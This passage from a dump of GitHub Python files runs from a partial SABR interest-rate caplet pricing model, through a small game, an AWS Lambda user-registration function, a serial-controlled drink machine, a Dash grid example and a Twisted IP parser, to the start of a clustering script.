         \"alpha\": self.sabr_eff[\"alpha\"][1],\n                \"beta\": self.sabr_eff[\"beta\"],\n                \"rho\": self.sabr_eff[\"rho\"][1],\n                \"volvol\": self.sabr_eff[\"volvol\"][1],\n            }\n        else:\n            sabr = {\n                \"alpha\": self.sabr[\"alpha\"][0],\n                \"beta\": self.sabr[\"beta\"],\n                \"rho\": self.sabr[\"rho\"][0],\n                \"volvol\": self.sabr[\"volvol\"][0],\n            }\n\n        if model.lower() == \"black\":\n            if not self.__no_black_model_support:\n                if np.isclose(self.caplet.init_fwd, self.caplet.strike):  # ATM\n                    return sabr[\"alpha\"] * self.caplet.init_fwd ** (sabr[\"beta\"] - 1)\n                zeta = (sabr[\"volvol\"] / sabr[\"alpha\"]) * (\n                    (self.caplet.init_fwd * self.caplet.strike)\n                    ** ((1 - sabr[\"beta\"]) / 2)\n                    * np.log(self.caplet.init_fwd / self.caplet.strike)\n                )\n                numerator = (\n                    sabr[\"alpha\"]\n                    * zeta\n                    * (self.caplet.init_fwd * self.caplet.strike)\n                    ** ((sabr[\"beta\"] - 1) / 2)\n                )\n                adj_log_money = (1 - sabr[\"beta\"]) * np.log(\n                    self.caplet.init_fwd / self.caplet.strike\n                )  # (1-β) log(F/K)\n                denominator = (\n                    1 + adj_log_money**2 / 24 + adj_log_money**4 / 1920\n                ) * self._chi(zeta, sabr[\"rho\"])\n                return numerator / denominator\n            raise ValueError(\"Black model not supported for currents sabr\")\n        if model.lower() == \"bachelier\":\n            if self.caplet.init_fwd <= 0 or self.caplet.strike <= 0:\n                if np.isclose(sabr[\"beta\"], 0):\n                    if np.isclose(self.caplet.init_fwd, self.caplet.strike):  # ATM case\n                        return sabr[\"alpha\"]\n                    zeta = (\n                        sabr[\"volvol\"] * (self.caplet.init_fwd - self.caplet.strike)\n                    ) / sabr[\"alpha\"]\n                    return (sabr[\"alpha\"] * zeta) / (self._chi(zeta, sabr[\"rho\"]))\n                raise ValueError(\"Negative F or K only supported for beta = 0\")\n            if np.isclose(self.caplet.init_fwd, self.caplet.strike):  # ATM case\n                return sabr[\"alpha\"] * self.caplet.init_fwd ** sabr[\"beta\"]\n            if np.isclose(sabr[\"beta\"], 1):  # β = 1\n                zeta = (\n                    sabr[\"volvol\"] * (self.caplet.init_fwd - self.caplet.strike)\n                ) / (sabr[\"alpha\"] * np.sqrt(self.caplet.init_fwd * self.caplet.strike))\n                return (\n                    sabr[\"alpha\"] * (self.caplet.init_fwd - self.caplet.strike) * zeta\n                ) / (\n                    (np.log(self.caplet.init_fwd) - np.log(self.caplet.strike))\n                    * self._chi(zeta, sabr[\"rho\"])\n                )\n            zeta = (sabr[\"volvol\"] * (self.caplet.init_fwd - self.caplet.strike)) / (\n                sabr[\"alpha\"]\n                * (self.caplet.init_fwd * self.caplet.strike) ** (sabr[\"beta\"] / 2)\n            )\n            chi_zeta = self._chi(zeta, sabr[\"rho\"])\n            return (\n                sabr[\"alpha\"]\n                * (1 - sabr[\"beta\"])\n                * (self.caplet.init_fwd - self.caplet.strike)\n                * zeta\n            ) / (\n                (\n                    self.caplet.init_fwd ** (1 - sabr[\"beta\"])\n                    - self.caplet.strike ** (1 - sabr[\"beta\"])\n                )\n                * chi_zeta\n            )\n\n    def _equivalent_volatility_2(self, model: str):\n        \"\"\" \"\"\"\n        # TEST\n        # DOCSTRING\n\n        # Chooses the right set of SABR parameters\n        if self.caplet.direction == \"bwd\" and not self.caplet.in_accrual:\n            sabr = {\n                \"alpha\": self.sabr_eff[\"alpha\"][0],\n                \"beta\": self.sabr_eff[\"beta\"],\n                \"rho\": self.sabr_eff[\"rho\"][0],\n                \"volvol\": self.sabr_eff[\"volvol\"][0],\n            }\n        elif self.caplet.direction == \"bwd\" and self.caplet.in_accrual:\n            sabr = {\n                \"alpha\": self.sabr_eff[\"alpha\"][1],\n                \"beta\": self.sabr_eff[\"beta\"],\n                \"rho\": self.sabr_eff[\"rho\"][1],\n                \"volvol\": self.sabr_eff[\"volvol\"][1],\n            }\n        else:\n            sabr = {\n                \"alpha\": self.sabr[\"alpha\"][0],\n                \"beta\": self.sabr[\"beta\"],\n                \"rho\": self.sabr[\"rho\"][0],\n                \"volvol\": self.sabr[\"volvol\"][0],\n            }\n\n        if model.lower() == \"black\":\n            term_1 = (\n                (1 - sabr[\"beta\"]) ** 2\n                * sabr[\"alpha\"] ** 2\n                * (self.caplet.init_fwd * self.caplet.strike) ** (sabr[\"beta\"] - 1)\n            ) / 24\n        elif model.lower() == \"bachelier\":\n            if np.isclose(sabr[\"beta\"], 0):\n                term_1 = 0\n            else:\n                term_1 = (\n                    sabr[\"alpha\"] ** 2\n                    * sabr[\"beta\"]\n                    * (sabr[\"beta\"] - 2)\n                    * (self.caplet.init_fwd * self.caplet.strike) ** (sabr[\"beta\"] - 1)\n                ) / 24\n        if np.isclose(sabr[\"beta\"], 0):\n            term_2 = 0\n        else:\n            term_2 = (\n                sabr[\"alpha\"]\n                * sabr[\"beta\"]\n                * sabr[\"rho\"]\n                * sabr[\"volvol\"]\n                * (self.caplet.init_fwd * self.caplet.strike)\n                ** ((sabr[\"beta\"] - 1) / 2)\n            ) / 4\n        term_3 = ((2 - 3 * sabr[\"rho\"] ** 2) * sabr[\"volvol\"] ** 2) / 24\n        return np.real(term_1 + term_2 + term_3)\n\n    def equivalent_volatility(self, model: str):\n        \"\"\" \"\"\"\n        # TEST to fwd and bwd-looking caplets\n        # DOCSTRING\n        if self.caplet.direction == \"fwd\" and self.caplet.in_accrual:\n            raise ValueError(\"Can't price fwd-looking caplet in accrual period\")\n        if model.lower() == \"bachelier\":\n            i_1 = self._equivalent_volatility_1(\"bachelier\")\n            i_2 = self._equivalent_volatility_2(\"bachelier\")\n        elif model.lower() == \"black\" and not self.__no_black_model_support:\n            i_1 = self._equivalent_volatility_1(\"black\")\n            i_2 = self._equivalent_volatility_2(\"black\")\n        elif model.lower() == \"black\" and self.__no_black_model_support:\n            raise ValueError(\"Black model not supported\")\n        else:\n            raise ValueError(f\"Unknown model: {model}\")\n\n        if any(np.isnan([i_1, i_2])):\n            raise ValueError(f\"NaN found in {model}-volatility\")\n        if self.caplet.direction == \"fwd\":  # BUG Is this correct?\n            return i_1 * (1 + i_2 * self.caplet.start())\n        return i_1 * (1 + i_2 * self.caplet.end())\n\n    def option_premium(self, model: str):\n        vol = self.equivalent_volatility(model)\n        if model == \"bachelier\":\n            return self._bachelier_formula(vol)\n        return self._black_formula(vol)\n\n    def _black_formula(self, volatility):\n        \"\"\"Determines Black option premium\"\"\"\n        # DOCSTRING\n        # TODO check maturity, start or end?\n        d_plus = (\n            np.log(self.caplet.init_fwd / self.caplet.strike)\n            + 0.5 * volatility**2 * self.caplet.end()\n        ) / (volatility * np.sqrt(self.caplet.end()))\n        d_min = (\n            np.log(self.caplet.init_fwd / self.caplet.strike)\n            - 0.5 * volatility**2 * self.caplet.end()\n        ) / (volatility * np.sqrt(self.caplet.end()))\n\n        call_premium = self.caplet.init_fwd * norm.cdf(\n            d_plus\n        ) - self.caplet.strike * norm.cdf(d_min)\n\n        if self.caplet.call_put == \"call\":\n            return call_premium\n        return call_premium + (self.caplet.strike - self.caplet.init_fwd)\n\n    def _bachelier_formula(self, volatility):\n        \"\"\" \"\"\"\n        # DOCSTRING\n        # TODO check maturity, start or end?\n        norm_argument = (self.caplet.init_fwd - self.caplet.strike) / (\n            volatility * np.sqrt(self.caplet.end())\n        )\n        if self.caplet.call_put == \"call\":\n            return (self.caplet.init_fwd - self.caplet.strike) * norm.cdf(\n                norm_argument\n            ) + volatility * np.sqrt(self.caplet.end()) * norm.pdf(norm_argument)\n        return (self.caplet.strike - self.caplet.init_fwd) * norm.cdf(\n            -norm_argument\n        ) + volatility * np.sqrt(self.caplet.end()) * norm.pdf(norm_argument)\n\n    def market_equiv_vol(self, market_caplet: MarketCaplet, model: str):\n        \"\"\" \"\"\"\n        # DOCSTRING\n        # FIXME\n        self._set_market_caplet_as_inner_caplet(market_caplet)\n        if model.lower() == \"black\":\n            return self.equivalent_volatility(model=\"black\")\n        if model.lower() == \"bachelier\":\n            return self.equivalent_volatility(model=\"bachelier\")\n        raise ValueError(f\"Unsupported model: {model}\")\n\n    def _set_market_caplet_as_inner_caplet(self, market_caplet: MarketCaplet):\n        \"\"\"\n        Sets market_caplet as self.caplet, makes it possible to compute\n        the option premium or equivalent volatility of market_caplet for a particular\n        set of SABR parameters.\n        \"\"\"\n        # DOCSTRING\n        self.caplet.start_date = market_caplet.start_date\n        self.caplet.end_date = market_caplet.end_date\n        self.caplet.init_fwd = market_caplet.init_fwd\n        self.caplet.strike = market_caplet.strike\n        self.caplet.direction = market_caplet.direction\n        self.caplet.call_put = market_caplet.call_put\n        self.caplet.reference_date = market_caplet.reference_date\n        self.caplet.day_count_convention = market_caplet.day_count_convention\n\n    def market_calibration(\n        self,\n        market_caplets: list,\n        model: str,\n        disp=False,\n        set_new_params=False,\n        criterion=\"abs_abs\",\n    ):\n        market_vols = np.array([market_caplet.vol for market_caplet in market_caplets])\n        eps = 0.001\n        sabr_bounds = [\n            (eps, 0.2),\n            (eps, 0.2),\n            (-1 + eps, 1 - eps),\n            (-1 + eps, 1 - eps),\n            (eps, 1),\n            (eps, 1),\n        ]\n\n        def objective_function(arg, market_caplets):\n            self.sabr = {\n                \"alpha\": [arg[0], arg[1]],\n                \"beta\": self.sabr[\"beta\"],\n                \"rho\": [arg[2], arg[3]],\n                \"volvol\": [arg[4], arg[5]],\n            }\n            self.eff_parameters()\n\n            model_vols = np.array(\n                [\n                    self.market_equiv_vol(market_caplet, model=model)\n                    for market_caplet in market_caplets\n                ]\n            )\n            return error_function(model_vols, market_vols, criterion)\n\n        start_time = time.time()\n        result = differential_evolution(\n            objective_function,\n            bounds=sabr_bounds,\n            args=([market_caplets]),\n            disp=disp,\n            callback=callback_function,\n        )\n        elapsed_time = time.time() - start_time\n\n        assert result.success, \"Minimization failed.\"\n        print(result.x)\n        print(f\"time\\t{elapsed_time:.2f} s\")\n\n        # if set_new_params:\n        #     if market_caplets[0].direction == \"fwd\":\n        #         self.sabr[\"alpha\"], self.sabr[\"rho\"], self.sabr[\"volvol\"] = result.x\n        #         self.eff_parameters()\n        #     elif market_caplets[0].direction == \"bwd\":\n        #         (\n        #             self.sabr_eff[\"alpha\"],\n        #             self.sabr_eff[\"rho\"],\n        #             self.sabr_eff[\"volvol\"],\n        #         ) = result.x\n        #         self.orig_parameters()\n\n        return result.x\n\n\nif __name__ == \"__main__\":\n    # Define Backwards SABR Model Parameters\n    ALPHA = [0.04, 0.025]\n    BETA = 0\n    RHO = [-0.4, -0.4]\n    VOLVOL = [0.4, 0.48]\n    Q = 1\n\n    # Define Caplet\n    REFERENCE_DATE = date(2023, 4, 19)\n    ACCRUAL_START = date(2024, 4, 19)\n    ACCRUAL_END = date(2025, 4, 19)\n    DAY_COUNT_CONVENTION = \"ACT365\"\n    INIT_FWD = 0.05\n    STRIKE = 0.04\n\n    CAPLET = Caplet(\n        ACCRUAL_START,\n        ACCRUAL_END,\n        INIT_FWD,\n        STRIKE,\n        \"bwd\",\n        \"call\",\n        REFERENCE_DATE,\n        DAY_COUNT_CONVENTION,\n    )\n\n    # Import Discount Curve\n    DISCOUNT_CURVE = Curve(\"Data/SOFR_YC_USD_19042023\", REFERENCE_DATE, \"ACT365\")\n\n    # Initialize SABR Model\n    SABR = SabrModel(ALPHA, BETA, RHO, VOLVOL, Q, CAPLET, DISCOUNT_CURVE)\n\n    alpha_res = SABR.sabr_eff[\"alpha\"][0]\n    rho_res = SABR.sabr_eff[\"rho\"][0]\n    volvol_res = SABR.sabr_eff[\"volvol\"][0]\n\n    print(SABR.orig_parameters(alpha_res, rho_res, volvol_res))\n","repo_name":"sandershortway/SABR-Model-for-Overnight-Index-Averages","sub_path":"sabr_model_taipe.py","file_name":"sabr_model_taipe.py","file_ext":"py","file_size_in_byte":25699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14469128754","text":"import game_framework\nfrom pico2d import *\nfrom Boy import *\nfrom World import *\nfrom Enemy import *\nfrom JangPung import *\nfrom Project import title_state\nimport random\nimport math\n\n\n\nboy = None\ngrass = None\nbackGround = None\njangPungList = []\nenemyList = []\ntotalTime = 0\nprevTime =0\n\ndef enter():\n    global boy, grass, background, enemy\n\n    boy=Boy()\n    grass=Grass()\n    background=BackGround()\n\ndef exit():\n    global boy,grass,background, enemy\n    del(boy)\n    del(grass)\n    del(background)\n    del(enemy)\n\ndef Collision(param1, param2):\n    dist = math.sqrt(pow(param1[0]-param2[0],2)+pow(param1[1]-param2[1],2))\n    if(dist<10):\n        return True\n    return False\n\n\ndef handle_events():\n    global prevTime, totalTime\n    totalTime +=(get_time() - prevTime)\n    prevTime = get_time()\n    events = get_events()\n    for event in events:\n        if event.type == SDL_QUIT:\n            game_framework.quit()\n        elif event.type == SDL_KEYDOWN and event.key == SDLK_ESCAPE:\n            game_framework.change_state(title_state)\n        elif event.type == SDL_KEYDOWN and event.key == SDLK_SPACE:\n            if (random.randint(0, 100) < 40):\n                if(totalTime>0.1):\n                    Jang = JangPung(boy.x, boy.state % 2)\n                    jangPungList.append(Jang)\n                    totalTime = 0\n        boy.handle_event(event)\ndef update():\n    global boy,  enemy, Jang\n    boy.update()\n    for jangPung in jangPungList:\n        jangPung.update()\n    for enemy in enemyList:\n        enemy.update()\n        if(enemy.dead):\n            enemyList.remove(enemy)\n            continue\n        if(Collision((enemy.x,enemy.y),(boy.x,boy.y))):\n            boy.hp -=1\n        for jangPung in jangPungList:\n            if(Collision((enemy.x,enemy.y),(jangPung.x,jangPung.y))):\n                enemy.dead = True\n\n    if(boy.hp<0):#죽을때\n        pass\n\n    if(random.randint(0,100)<3):\n        newEnemy = Enemy()\n        enemyList.append(newEnemy)\ndef draw():\n    global boy, grass, background, enemy,jangPungList\n    clear_canvas()\n    background.draw()\n    grass.draw()\n    boy.draw()\n    for jangPung in jangPungList:\n        jangPung.draw()\n    for enemy in enemyList:\n        enemy.draw()\n    update_canvas()\n    delay(0.04)\n","repo_name":"deigonz/pythonGame","sub_path":"Project/main_state.py","file_name":"main_state.py","file_ext":"py","file_size_in_byte":2253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14497526991","text":"import uuid\nimport boto3\nfrom botocore.exceptions import ClientError\nimport os\nimport logging\nfrom Person import Person\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\ndynamoTable=\"\"\n\ndef init():\n    global dynamoDbTable \n\n    print('init')    \n    dynamoTableName = os.environ.get('DYNAMO_TABLE_NAME')\n    dynamodb = boto3.resource('dynamodb')\n    dynamoDbTable = dynamodb.Table(dynamoTableName)\n    print('FIN init')\n\ninit()\n\n\ndef check_if_item_exist(userUid):\n    global dynamoDbTable \n    response = dynamoDbTable.get_item(Key={'userId':userUid})\n\n    if 'Item' in response:\n        return True\n    else:\n        return False\n\ndef lambda_handler(event, context):\n    firstname=event['firstname']\n    lastname=event['lastname']\n    userUid=str(uuid.uuid4())\n\n    p1=Person(firstname,lastname,10)\n    p1.presentation()\n\n    #Test if not already exist then regenerate until a good one\n    isfree=False\n    while not isfree:\n        if check_if_item_exist(userUid):\n            # uid alread exist\n            logger.warn(\"user id {} already in use\".format(userUid))\n            userUid=str(uuid.uuid4())\n        else:\n            logger.info(\"{} is free user uid\".format(userUid))\n            isfree=True              \n\n        \n    logger.info('Creating user for {} {}. User uid will be {}' .format(p1.getFistname(),p1.getLastname(),userUid))\n    dynamoDbTable.put_item(\n       Item={\n            'userId': userUid,\n            'firstname': p1.getFistname(),\n            'lastname': p1.getLastname(),\n            'amount': p1.getAmount()\n        }\n    )\n\n    logger.info('User credit for new user {} is {}'.format(userUid, p1.getAmount()))\n    return userUid","repo_name":"remy-bresson/pileFace","sub_path":"lambda/register/register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6511764344","text":"import threading, serial, time, logging\r\nimport database as rootdb\r\nfrom inspect import currentframe, getframeinfo\r\n\r\n\r\ndef debug_print(arg):\r\n    frameinfo = currentframe()\r\n    print(frameinfo.f_back.f_lineno, \":\", arg)\r\n\r\n\r\nclass PyDrink(threading.Thread):\r\n    cart_position = 0\r\n    states = {\"OK\": 1,\r\n              \"NOK\": 2,\r\n              \"TARE_TIMOUT\": 3,\r\n              \"DRINK_EMPTY\": 4,\r\n              }\r\n    progress = 0\r\n    progress_temp = 0\r\n    progress_part = 0\r\n    action = None\r\n    params = None\r\n    error_state = 0\r\n\r\n    def __init__(self,port=\"COM5\"):\r\n        threading.Thread.__init__(self)\r\n        self.serial_port = serial.Serial(port, 115200)\r\n        self.ready = True\r\n\r\n        self.logger = logging.getLogger('PyDrink')\r\n        self.logger.setLevel(logging.DEBUG)\r\n        fh = logging.FileHandler('PyDrink.log')\r\n        fh.setLevel(logging.DEBUG)\r\n        formatter = logging.Formatter('%(asctime)s|%(name)s|%(levelname)s|%(message)s')\r\n        fh.setFormatter(formatter)\r\n        ch = logging.StreamHandler()\r\n        ch.setLevel(logging.DEBUG)\r\n        ch.setFormatter(formatter)\r\n\r\n        self.logger.addHandler(ch)\r\n        self.logger.addHandler(fh)\r\n\r\n    def prepare_run(self, action, params):\r\n        self.action = action\r\n        self.params = params\r\n        self.progress = 0\r\n\r\n    def run(self):\r\n        while 1:\r\n            if (self.action == \"makedrink\"):\r\n                self.make_drink(self.params)\r\n            self.action = None\r\n            time.sleep(0.5)\r\n\r\n    def mainloop(self):\r\n        pass\r\n\r\n    def send_command(self, command):\r\n\r\n        try:\r\n            print(\"sending\",command)\r\n            self.flush_port()\r\n            self.serial_port.write(bytes(command, \"utf-8\"))\r\n            self.logger.info(\"Sent command \" + command)\r\n            return True\r\n        except:\r\n            self.logger.warning(\"Unable to send command \" + command)\r\n            return False\r\n\r\n    def read_reply(self, timeout):\r\n        start_time = time.time()\r\n        while start_time + timeout > time.time():\r\n            if self.serial_port.inWaiting():\r\n                time.sleep(0.1)\r\n                reply = str(self.serial_port.read(self.serial_port.inWaiting()), \"utf-8\").replace(\"\\r\\n\", \"\")\r\n                self.logger.info(\"reply \" + reply)\r\n                reply = reply.replace(\"DONEDONE\", \"DONE\")\r\n                return reply\r\n        return False\r\n\r\n    def flush_port(self):\r\n        self.serial_port.flushOutput()\r\n        self.serial_port.flushInput()\r\n\r\n    def close_port(self):\r\n        self.serial_port.close()\r\n\r\n    def move_cart_to_pos(self, pos):\r\n\r\n        self.logger.info(\"Moving cart to pos \" + str(pos))\r\n        dir = None\r\n        if pos == \"home\":\r\n            dir = \"h\"\r\n            self.cart_position = 0\r\n            pos = 0\r\n        elif pos > self.cart_position:\r\n            dir = \"1\"\r\n        elif pos < self.cart_position:\r\n            dir = \"0\"\r\n        elif pos == self.cart_position:\r\n            dir = \"0\"\r\n\r\n\r\n        time.sleep(0.2)\r\n        self.flush_port()\r\n        command = \"m\" + dir + str(abs(self.cart_position - pos))\r\n        while 1:\r\n            self.send_command(\"m\" + dir + str(abs(self.cart_position - pos)))\r\n            rep = self.read_reply(2)\r\n            if rep:\r\n                rep = rep.replace(\"home\",\"\").replace(\"DONE\",\"\")\r\n                self.logger.info(\"sending \"+command+\", received \"+rep)\r\n            if rep == command:\r\n                break\r\n        self.cart_position = pos\r\n        res = self.read_reply(45)\r\n        if res == \"DONE\":\r\n            self.logger.info(\"Cart moved to \" + str(pos))\r\n            return True\r\n        elif not res:\r\n            self.logger.error(\"Cart not moved\")\r\n            return False\r\n        elif \"home\" in res:\r\n            self.cart_position = 0\r\n            self.logger.warning(\"Cart moved to home\")\r\n            return True\r\n\r\n    def get_weight(self):\r\n        self.send_command(\"s\")\r\n        res = self.read_reply(1)\r\n        if res:\r\n            res = res.replace(\"DONE\", \"\").replace(\"s\",\"\")\r\n            self.logger.info(\"Scale measure \" + str(res))\r\n            try:\r\n                return float(res)\r\n            except:\r\n                return False\r\n        self.logger.error(\"Scale not responding\")\r\n        return False\r\n\r\n    def tare_scale(self):\r\n        self.send_command(\"st\")\r\n        res = self.read_reply(5)\r\n        if res == \"DONE\":\r\n            return True\r\n        return False\r\n\r\n    def pour_drink(self, tap, amount):\r\n        db = rootdb.Database(\"database.db\")\r\n        _i = 1\r\n        while not self.move_cart_to_pos(db.get_tap_pos(tap)):\r\n            _i += 1\r\n            if _i > 3:\r\n                return self.states[\"NOK\"]\r\n        self.tare_scale()\r\n        self.send_command(\"p\" + str(tap - 1) + \"1\")\r\n        self.read_reply(0.5)\r\n        st = time.time()\r\n        parts = 20\r\n        while 1:\r\n            w = self.get_weight()\r\n            while w == False:\r\n                w = self.get_weight()\r\n            print(w)\r\n\r\n            if w is False:\r\n                self.send_command(\"pa\")\r\n                return self.states[\"TARE_TIMOUT\"]\r\n            if w >= amount:\r\n                self.send_command(\"pa\")\r\n                return self.states[\"OK\"]\r\n            if st + 5 < time.time():\r\n                self.send_command(\"pa\")\r\n                res = self.read_reply(1)\r\n                return self.states[\"DRINK_EMPTY\"]\r\n            if  False: #w > parts:\r\n                self.send_command(\"p\" + str(tap - 1) + \"0\")\r\n                self.read_reply(0.5)\r\n                parts += 20\r\n                time.sleep(2.5)\r\n                st = time.time()\r\n                self.send_command(\"p\" + str(tap - 1) + \"1\")\r\n                self.read_reply(0.5)\r\n            #a = self.map(w, 0, amount, 0, self.progress_part)\r\n            #self.progress = self.progress_temp + a\r\n            #print(self.progress, \"\\t\", self.progress_temp, \"\\t\", a, \"\\t\", self.progress_part)\r\n\r\n\r\n\r\n    def make_drink(self, drink_id):\r\n        self.tare_scale()\r\n        db = rootdb.Database(\"database.db\")\r\n        db.c.execute(\"SELECT * FROM parts WHERE part_drink = ? ORDER BY part_order ASC\", str(drink_id))\r\n        parts = db.c.fetchall()\r\n        self.progress_part = 100 / (len(parts) + 2)\r\n        self.progress = 0\r\n        self.progress_temp = 0\r\n        self.move_cart_to_pos(\"home\")\r\n        self.progress += self.progress_part\r\n        self.progress_temp += self.progress_part\r\n        for part in parts:\r\n            db.c.execute(\"SELECT tap_id FROM taps WHERE tap_liquid = ? AND tap_empty = 0 LIMIT 1\", str(part[3]))\r\n            tap = db.c.fetchone()[0]\r\n            res = self.pour_drink(tap, part[4])\r\n            if res != self.states[\"OK\"]:\r\n                self.error_state = res\r\n                self.progress = -1\r\n                return\r\n\r\n            time.sleep(0.5)\r\n            self.progress += self.progress_part\r\n            self.progress_temp += self.progress_part\r\n        time.sleep(1)\r\n        print(self.serial_port.inWaiting())\r\n        self.flush_port()\r\n        print(self.serial_port.inWaiting())\r\n        print(\"moving cart\")\r\n        self.move_cart_to_pos(\"home\")\r\n        print(\"cart moved\")\r\n        self.progress += self.progress_part\r\n        self.progress = 100\r\n\r\n    def map(self, x,  in_min,  in_max,  out_min,  out_max):\r\n        return (x - in_min) * (out_max - out_min) / (in_max - in_min) + out_min\r\n\r\n","repo_name":"adamjezek98/pydrink","sub_path":"source/python_service/pydrink.py","file_name":"pydrink.py","file_ext":"py","file_size_in_byte":7445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7483491799","text":"\"\"\"\nSingle Row Selection - without check boxes.\n\"\"\"\nimport dash\n\nimport dash_ag_grid as dag\nfrom dash import Dash, html, dcc, Input, Output\nimport requests\n\napp = Dash(__name__)\n\n\ndata = requests.get(\n    r\"https://www.ag-grid.com/example-assets/olympic-winners.json\"\n).json()\n\n\ncolumnDefs = [\n    {\"field\": \"athlete\"},\n    {\"field\": \"age\"},\n    {\"field\": \"country\"},\n    {\"field\": \"year\"},\n    {\"field\": \"date\"},\n    {\"field\": \"sport\"},\n    {\"field\": \"gold\"},\n    {\"field\": \"silver\"},\n    {\"field\": \"bronze\"},\n    {\"field\": \"total\"},\n]\n\napp.layout = html.Div(\n    [\n        dcc.Markdown(\"This grid has single-select rows.\"),\n        html.Div(id=\"selections-single-output\"),\n        dag.AgGrid(\n            id=\"selection-single-grid\",\n            columnDefs=columnDefs,\n            rowData=data,\n            columnSize=\"sizeToFit\",\n            defaultColDef={\"resizable\": True, \"sortable\": True, \"filter\": True},\n            rowSelection=\"single\",\n        ),\n    ],\n    style={\"margin\": 20},\n)\n\n\n@app.callback(\n    Output(\"selections-single-output\", \"children\"),\n    Input(\"selection-single-grid\", \"selectedRows\"),\n)\ndef selected(selected):\n    if selected:\n        return f\"You selected athlete: {selected[0]['athlete']}\"\n    return \"No selections\"\n\n\nif __name__ == \"__main__\":\n    app.run_server(debug=True)\n","repo_name":"fvdnabee/dash-ag-grid","sub_path":"docs/examples/selection/selection_single.py","file_name":"selection_single.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"31297911323","text":"import struct\nimport socket\n\nfrom twisted.internet import protocol\nfrom twisted.pair import raw\nfrom zope.interface import implementer\n\n\nclass IPHeader:\n    def __init__(self, data):\n\n        (ihlversion, self.tos, self.tot_len, self.fragment_id, frag_off,\n         self.ttl, self.protocol, self.check, saddr, daddr) \\\n         = struct.unpack(\"!BBHHHBBH4s4s\", data[:20])\n        self.saddr = socket.inet_ntoa(saddr)\n        self.daddr = socket.inet_ntoa(daddr)\n        self.version = ihlversion & 0x0F\n        self.ihl = ((ihlversion & 0xF0) >> 4) << 2\n        self.fragment_offset = frag_off & 0x1FFF\n        self.dont_fragment = (frag_off & 0x4000 != 0)\n        self.more_fragments = (frag_off & 0x2000 != 0)\n\nMAX_SIZE = 2**32\n\n@implementer(raw.IRawPacketProtocol)\nclass IPProtocol(protocol.AbstractDatagramProtocol):\n    def __init__(self):\n        self.ipProtos = {}\n\n    def addProto(self, num, proto):\n        proto = raw.IRawDatagramProtocol(proto)\n        if num < 0:\n            raise TypeError('Added protocol must be positive or zero')\n        if num >= MAX_SIZE:\n            raise TypeError('Added protocol must fit in 32 bits')\n        if num not in self.ipProtos:\n            self.ipProtos[num] = []\n        self.ipProtos[num].append(proto)\n\n    def datagramReceived(self,\n                         data,\n                         partial,\n                         dest,\n                         source,\n                         protocol):\n        header = IPHeader(data)\n        for proto in self.ipProtos.get(header.protocol, ()):\n            proto.datagramReceived(data=data[20:],\n                                   partial=partial,\n                                   source=header.saddr,\n                                   dest=header.daddr,\n                                   protocol=header.protocol,\n                                   version=header.version,\n                                   ihl=header.ihl,\n                                   tos=header.tos,\n                                   tot_len=header.tot_len,\n                                   fragment_id=header.fragment_id,\n                                   fragment_offset=header.fragment_offset,\n                                   dont_fragment=header.dont_fragment,\n                                   more_fragments=header.more_fragments,\n                                   ttl=header.ttl,\n                                   )\n","repo_name":"wistbean/learn_python3_spider","sub_path":"stackoverflow/venv/lib/python3.6/site-packages/twisted/pair/ip.py","file_name":"ip.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"en","doc_type":"code","stars":14022,"dataset":"github-code","pt":"3"}
+{"seq_id":"2883817922","text":"\"\"\"\ncluster-all.py\n\nHacky paste of https://scikit-learn.org/stable/auto_examples/cluster/plot_cluster_comparison.html\nto quickly look at other algorithms. Intermediate products are cached as .npy files.\n\"\"\"\n\nimport warnings\nfrom datetime import timedelta\nfrom os import remove\nfrom os.path import abspath, exists\n\nimport numpy as np\nfrom gwpy.time import to_gps\nfrom gwpy.timeseries import TimeSeriesDict, TimeSeries\nfrom numpy import stack, concatenate\nfrom sklearn import cluster, mixture\nfrom sklearn.neighbors import kneighbors_graph\nfrom sklearn.preprocessing import StandardScaler\n\nfrom util import get_logger, Progress\n\nDEFAULT_FILENAME = 'cache.hdf5'\n\n# initialize logging.\nlogger, log_path = get_logger(__name__, verbose=True)\nprint(f'Writing log to: {log_path}')\n\n\ndef compute_all(channels, start, stop, history=timedelta(hours=2), filename=DEFAULT_FILENAME, **kwargs):\n    # set up duration (minute-trend data has dt=1min, so reject intervals not on the minute).\n    duration = (stop - start).total_seconds() / 60\n    assert (stop - start).total_seconds() / 60 == (stop - start).total_seconds() // 60\n    duration = int(duration)\n    logger.info(f'Clustering data from {start} to {stop} ({duration} minutes).')\n\n    # download data using TimeSeries.get(), including history of point at t0.\n    logger.debug(f'Initiating download from {start} to {stop} with history={history}...')\n    dl = TimeSeriesDict.get(channels, start=to_gps(start - history), end=to_gps(stop))\n    logger.info(f'Downloaded from {start} to {stop} with history={history}.')\n\n    if exists('input.npy'):\n        input_data = np.load('input.npy')\n        logger.info('Loaded input matrix.')\n    else:\n        # generate input matrix of the form [sample1;...;sampleN] with sampleK = [feature1,...,featureN]\n        # for sklearn.cluster algorithms. This is the slow part of the function, so a progress bar is shown.\n        logger.debug(f'Initiating input matrix generation...')\n        with Progress('building input', (duration * 60)) as progress:\n            input_data = stack(\n                [concatenate(\n                    [progress(dl[channel].crop, t,\n                              start=to_gps(start + timedelta(seconds=t) - history),\n                              end=to_gps(start + timedelta(seconds=t))).value for channel in channels]\n                ) for t in range(0, int(duration * 60), 60)])\n\n        # verify input matrix dimensions.\n        assert input_data.shape == (duration, int(len(channels) * history.total_seconds() / 60))\n        np.save('input.npy', input_data)\n        logger.info('Completed input matrix generation.')\n\n    params = {'quantile': .3,\n              'eps': .3,\n              'damping': .9,\n              'preference': -200,\n              'n_neighbors': 10,\n              'n_clusters': 15,\n              'min_samples': 20,\n              'xi': 0.05,\n              'min_cluster_size': 0.1}\n\n    if exists('X.npy'):\n        X = np.load('X.npy')\n        logger.info('Loaded X')\n    else:\n        # normalize dataset for easier parameter selection\n        X = StandardScaler().fit_transform(input_data)\n        np.save('X.npy', X)\n        logger.info('Generated X')\n\n    if 